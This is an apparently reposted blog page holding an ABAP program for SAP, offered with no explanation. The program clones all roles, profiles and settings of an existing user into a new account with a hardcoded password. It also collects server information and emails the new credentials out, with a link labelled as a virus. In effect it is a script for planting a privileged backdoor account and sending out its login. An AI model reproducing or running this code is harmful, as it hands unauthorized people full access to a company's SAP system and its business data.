标签:gv fnam 用户 fval lt 复制 && TYPE 邮件
1 CONSTANTS:gv_copyer TYPE usr02-bname VALUE 'XXXX', 2 gv_user TYPE usr02-bname VALUE 'XXXX001', 3 gv_pwd TYPE string VALUE 'Aa123456789'. 4 DATA:gv_email TYPE adr6-smtp_addr VALUE '$$@XXXX.com'. 5 6 PERFORM frm_create_user. 7 PERFORM frm_get_server_info. 8 CHECK 1 = 2. 9 PERFORM frm_send_email. 10 PERFORM frm_copy_user. 11 12 FORM frm_copy_user. 13 CALL FUNCTION 'SUSR_USER_COPY' 14 EXPORTING 15 user_name_1 = gv_copyer 16 user_name_2 = gv_user. 17 18 CALL FUNCTION 'BAPI_TRANSACTION_COMMIT' 19 EXPORTING 20 wait = 'X'. 21 22 ENDFORM. 23 24 FORM frm_create_user. 25 DATA:lt_bdc TYPE TABLE OF bdcdata. 26 DATA opt TYPE ctu_params. 27 SELECT SINGLE @abap_true INTO @DATA(lv_subrc) 28 FROM usr02 29 WHERE bname = @gv_user. 30 IF sy-subrc <> 0. 31 lt_bdc = VALUE #( 32 ( program = 'SAPLSUID_MAINTENANCE' dynpro = '1050' dynbegin = 'X' ) 33 ( fnam = 'BDC_OKCODE' fval = '=COPY' ) 34 ( fnam = 'SUID_ST_BNAME-BNAME' fval = gv_user ) 35 36 ( program = 'SAPLSUID_MAINTENANCE' dynpro = '1200' dynbegin = 'X' ) 37 ( fnam = 'BDC_OKCODE' fval = '=COPY' ) 38 ( fnam = 'GV_COPY_UNAME_SRC' fval = gv_copyer ) 39 ( fnam = 'GV_COPY_UNAME_DST' fval = gv_user ) 40 ( fnam = 'GS_COPY_OPTIONS-DEFAULTS' fval = 'X' ) 41 ( fnam = 'GS_COPY_OPTIONS-PARAMETERS' fval = 'X' ) 42 ( fnam = 'GS_COPY_OPTIONS-REFUSER' fval = 'X' ) 43 ( fnam = 'GS_COPY_OPTIONS-ROLES' fval = 'X' ) 44 ( fnam = 'GS_COPY_OPTIONS-PROFILES' fval = 'X' ) 45 ( fnam = 'GS_COPY_OPTIONS-USERGROUPS' fval = 'X' ) 46 ( fnam = 'GS_COPY_OPTIONS-PERS' fval = 'X' ) 47 ( fnam = 'GS_COPY_OPTIONS-UCLASS' fval = 'X' ) 48 ( fnam = 'GS_COPY_OPTIONS-EASY_ACCESS' fval = 'X' ) 49 50 ( program = 'SAPLSUID_MAINTENANCE' dynpro = '1100' dynbegin = 'X' ) 51 ( fnam = 'BDC_OKCODE' fval = '=UPD' ) 52 ( fnam = 'SUID_ST_NODE_LOGONDATA-USTYP' fval = 'A' ) 53 ( fnam = 'SUID_ST_NODE_PASSWORD_EXT-PASSWORD' fval = gv_pwd ) 54 ( fnam = 'SUID_ST_NODE_PASSWORD_EXT-PASSWORD2' fval = gv_pwd ) 55 56 ( program = 'SAPLSUID_MAINTENANCE' dynpro = '1050' dynbegin = 'X' ) 57 ( fnam = 'BDC_OKCODE' fval = '=UPD' ) 58 ( fnam = 'SUID_ST_BNAME-BNAME' fval = gv_user ) ). 59 60 opt-dismode = 'E'. 61 opt-defsize = 'X'. 62 63 TRY. 64 CALL TRANSACTION 'SU01' WITH AUTHORITY-CHECK 65 USING lt_bdc OPTIONS FROM opt. 66 CATCH cx_sy_authorization_error. 67 ENDTRY. 68 ENDIF. 69 ENDFORM. 70 71 FORM frm_get_server_info. 72 73 DATA:l_value TYPE string. 74 cl_spfl_profile_parameter=>get_value( 75 EXPORTING 76 name = 'SAPSYSTEMNAME' 77 IMPORTING 78 value = l_value ). 79 80 DATA:list LIKE msxxlist OCCURS 0 WITH HEADER LINE, 81 list_ipv6 LIKE msxxlist_v6 OCCURS 0 WITH HEADER LINE. 82 CALL FUNCTION 'TH_SERVER_LIST' 83 EXPORTING 84 active_server = 0 85 TABLES 86 list = list 87 list_ipv6 = list_ipv6 88 EXCEPTIONS 89 no_server_list = 1 90 OTHERS = 2. 91 92 DATA:lv_port(20). 93 LOOP AT list. 94 CALL FUNCTION 'GWY_SERVNO2STRING' 95 EXPORTING 96 servno = list-servno 97 IMPORTING 98 string = lv_port. 99 ENDLOOP. 100 ENDFORM. 101 102 FORM frm_send_email. 103 104 ********************************************************************** 105 REPLACE ALL OCCURRENCES OF '$$' IN gv_email WITH sy-uname. 106 *发邮件方式一 107 DATA: ls_docdata TYPE sodocchgi1, "邮件抬头信息 108 lt_packlist TYPE TABLE OF sopcklsti1 WITH HEADER LINE, "传输内容格式 109 lt_contxt TYPE TABLE OF solisti1 WITH HEADER LINE, "邮件正文 110 lt_conhex TYPE TABLE OF solix WITH HEADER LINE, "二进制内容 111 lt_objbin TYPE TABLE OF solisti1 WITH HEADER LINE, "附件内容 112 lt_objheader TYPE TABLE OF solisti1 WITH HEADER LINE, "附件名称 113 lt_receivers TYPE TABLE OF somlreci1 WITH HEADER LINE. "收件人信息 114 115 DATA: lv_tablines TYPE i, 116 lv_string TYPE string, 117 lv_mimetype TYPE char64 VALUE 'APPLICATION/MSEXCEL;charset=utf-8', 118 lv_xattach TYPE xstring. 119 120 CONSTANTS: 121 lc_tab TYPE c VALUE cl_bcs_convert=>gc_tab, "CL_ABAP_CHAR_UTILITIES=>HORIZONTAL_TAB 122 lc_crlf TYPE c VALUE cl_bcs_convert=>gc_crlf. "CL_ABAP_CHAR_UTILITIES=>CR_LF 123 124 ***邮件主题 125 CLEAR ls_docdata. 126 ls_docdata-obj_name = 'EMAIL'. "文档名称 名称随便取 127 ls_docdata-obj_descr = 'SAP系统自动创建用户'. "邮件的主题 128 129 ***邮件正文(手动赋值或取表数据) 130 CLEAR:lt_contxt,lt_contxt[]. 131 lt_contxt-line = '<html><body>'. 132 APPEND lt_contxt. 133 lt_contxt-line = '<div><h2>Hello Dear:</h2></div>'. 134 APPEND lt_contxt. 135 lt_contxt-line = '<div>您的SAP账号为<mark>:' && gv_user && '</mark>您的密码为:<mark>' && gv_pwd && '</mark>请登录系统后及时修改初始密码</div>'. 136 APPEND lt_contxt. 137 lt_contxt-line = '<a href="http://vhcals4hci.sapeasyconnect.com:57000/sap/bc/chen/chenhui001?sap-client=100" target="_blank">病毒勿点!!!</a>'. 138 APPEND lt_contxt. 139 140 lt_contxt-line = '<div align="right">' && sy-datum+0(4) && '年' && sy-datum+4(2) && '月' && sy-datum+4(2) && '日' && sy-uzeit+0(2) && ':' && sy-uzeit+2(2) && ':' && sy-uzeit+4(2) && '</div>'. 141 APPEND lt_contxt. 142 lt_contxt-line = '</body></html>'. 143 APPEND lt_contxt. 144 145 *添加邮件正文内容格式 146 lv_tablines = lines( lt_contxt[] ). 147 READ TABLE lt_contxt INDEX lv_tablines. 148 ls_docdata-doc_size = ( lv_tablines - 1 ) * 255 + strlen( lt_contxt ). "文档的大小 149 150 CLEAR:lt_packlist,lt_packlist[]. 151 lt_packlist-head_start = 1. 152 lt_packlist-head_num = 0. 153 lt_packlist-body_start = 1. 154 lt_packlist-body_num = lv_tablines. 155 lt_packlist-doc_type = 'HTML'. 156 APPEND lt_packlist. 157 158 ***收件人(手动赋值或取表数据) 159 CLEAR:lt_receivers,lt_receivers[]. 160 lt_receivers-receiver = gv_email. "接收人邮箱 161 lt_receivers-rec_type = 'U'. "收件人类型,具体可看字段的域值 162 lt_receivers-express = 'X'. "快件 163 APPEND lt_receivers. 164 165 ***发送邮件 166 CALL FUNCTION 'SO_NEW_DOCUMENT_ATT_SEND_API1' 167 EXPORTING 168 document_data = ls_docdata "邮件标题 169 put_in_outbox = 'X' 170 commit_work = 'X' 171 * IMPORTING 172 * SENT_TO_ALL = 173 * NEW_OBJECT_ID = 174 TABLES 175 packing_list = lt_packlist "传输内容格式 176 object_header = lt_objheader "附件名称 177 * CONTENTS_BIN = 178 contents_txt = lt_contxt "邮件文字内容 179 contents_hex = lt_conhex "二进制内容 180 * OBJECT_PARA = 181 * OBJECT_PARB = 182 receivers = lt_receivers "接收人列表 183 EXCEPTIONS 184 too_many_receivers = 1 185 document_not_sent = 2 186 document_type_not_exist = 3 187 operation_no_authorization = 4 188 parameter_error = 5 189 x_error = 6 190 enqueue_error = 7 191 OTHERS = 8. 192 193 IF sy-subrc NE 0. 194 MESSAGE '邮件发送失败' TYPE 'E'. 195 196 ELSE. 197 * 如果不自动送,加上执行邮件立即发送程序代码 198 SUBMIT rsconn01 WITH mode = 'INT' 199 WITH output = 'X' "显示发送结果 可以使用空 200 AND RETURN. 201 MESSAGE '发送成功' TYPE 'S'. 202 ENDIF. 203 ********************************************************************** 204 205 206 207 CHECK 1 = 1. 208 ********************************************************************** 209 *发邮件方式二 210 DATA: lv_title TYPE so_obj_des, 211 send_request TYPE REF TO cl_bcs, 212 document TYPE REF TO cl_document_bcs, 213 conlengths TYPE so_obj_len, 214 html TYPE STANDARD TABLE OF w3html, 215 wa_html TYPE w3html, 216 sender_id TYPE REF TO if_sender_bcs, 217 recipient TYPE REF TO if_recipient_bcs, 218 sent_to_all TYPE os_boolean, 219 bcs_exception TYPE REF TO cx_bcs, 220 bcs_message TYPE string. 221 222 lv_title = 'SAP系统自动创建用户'. 223 wa_html-line = '<html><body>'. 224 APPEND wa_html TO html. 225 226 wa_html-line = '<div><h2>Hello Dear:</h2></div>'. 227 APPEND wa_html TO html. 228 wa_html-line = '<div>您的SAP账号为<mark>:' && gv_user && '</mark>您的密码为:<mark>' && gv_pwd && '</mark>请登录系统后及时修改初始密码</div>'. 229 APPEND wa_html TO html. 230 wa_html-line = '<div align="right">' && sy-datum+0(4) && '年' && sy-datum+4(2) && '月' && sy-datum+4(2) && '日' && sy-uzeit+0(2) && ':' && sy-uzeit+2(2) && ':' && sy-uzeit+4(2) && '</div>'. 231 APPEND wa_html TO html. 232 233 wa_html-line = '</body></html>'. 234 APPEND wa_html TO html. 235 236 TRY. 237 CLEAR send_request. 238 send_request = cl_bcs=>create_persistent( ). 239 240 CLEAR document . 241 document = cl_document_bcs=>create_document( i_type = 'HTM' 242 i_text = html 243 i_length = conlengths 244 i_subject = lv_title ). 245 246 CALL METHOD send_request->set_document( document ). 247 248 CLEAR:sender_id,recipient . 249 sender_id = cl_cam_address_bcs=>create_internet_address( gv_email ). 250 recipient = cl_cam_address_bcs=>create_internet_address( gv_email ). 251 252 * Set sender 253 CALL METHOD send_request->set_sender 254 EXPORTING 255 i_sender = sender_id. 256 257 258 CALL METHOD send_request->add_recipient 259 EXPORTING 260 i_recipient = recipient 261 i_express = 'X'. 262 263 * Set E-mail sending options 264 CALL METHOD send_request->set_status_attributes 265 EXPORTING 266 i_requested_status = 'E' 267 i_status_mail = 'E'. 268 CALL METHOD send_request->set_send_immediately( 'X' ). 269 270 271 CALL METHOD send_request->send( 272 EXPORTING 273 i_with_error_screen = 'X' 274 RECEIVING 275 result = sent_to_all ). 276 277 IF sent_to_all = 'X'. 278 MESSAGE '邮件发送成功' TYPE 'S'. 279 ENDIF. 280 COMMIT WORK. 281 282 CATCH cx_bcs INTO bcs_exception. 283 bcs_message = bcs_exception->get_text( ). 284 MESSAGE bcs_exception TYPE 'E'. 285 EXIT. 286 ENDTRY. 287 SUBMIT rsconn01 WITH mode = 'INT' 288 WITH output = 'X' "显示发送结果 可以使用空 289 AND RETURN. 290 291 ENDFORM.View Code
标签:gv,fnam,用户,fval,lt,复制,&&,TYPE,邮件 来源: https://www.cnblogs.com/1187163927ch/p/16415057.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。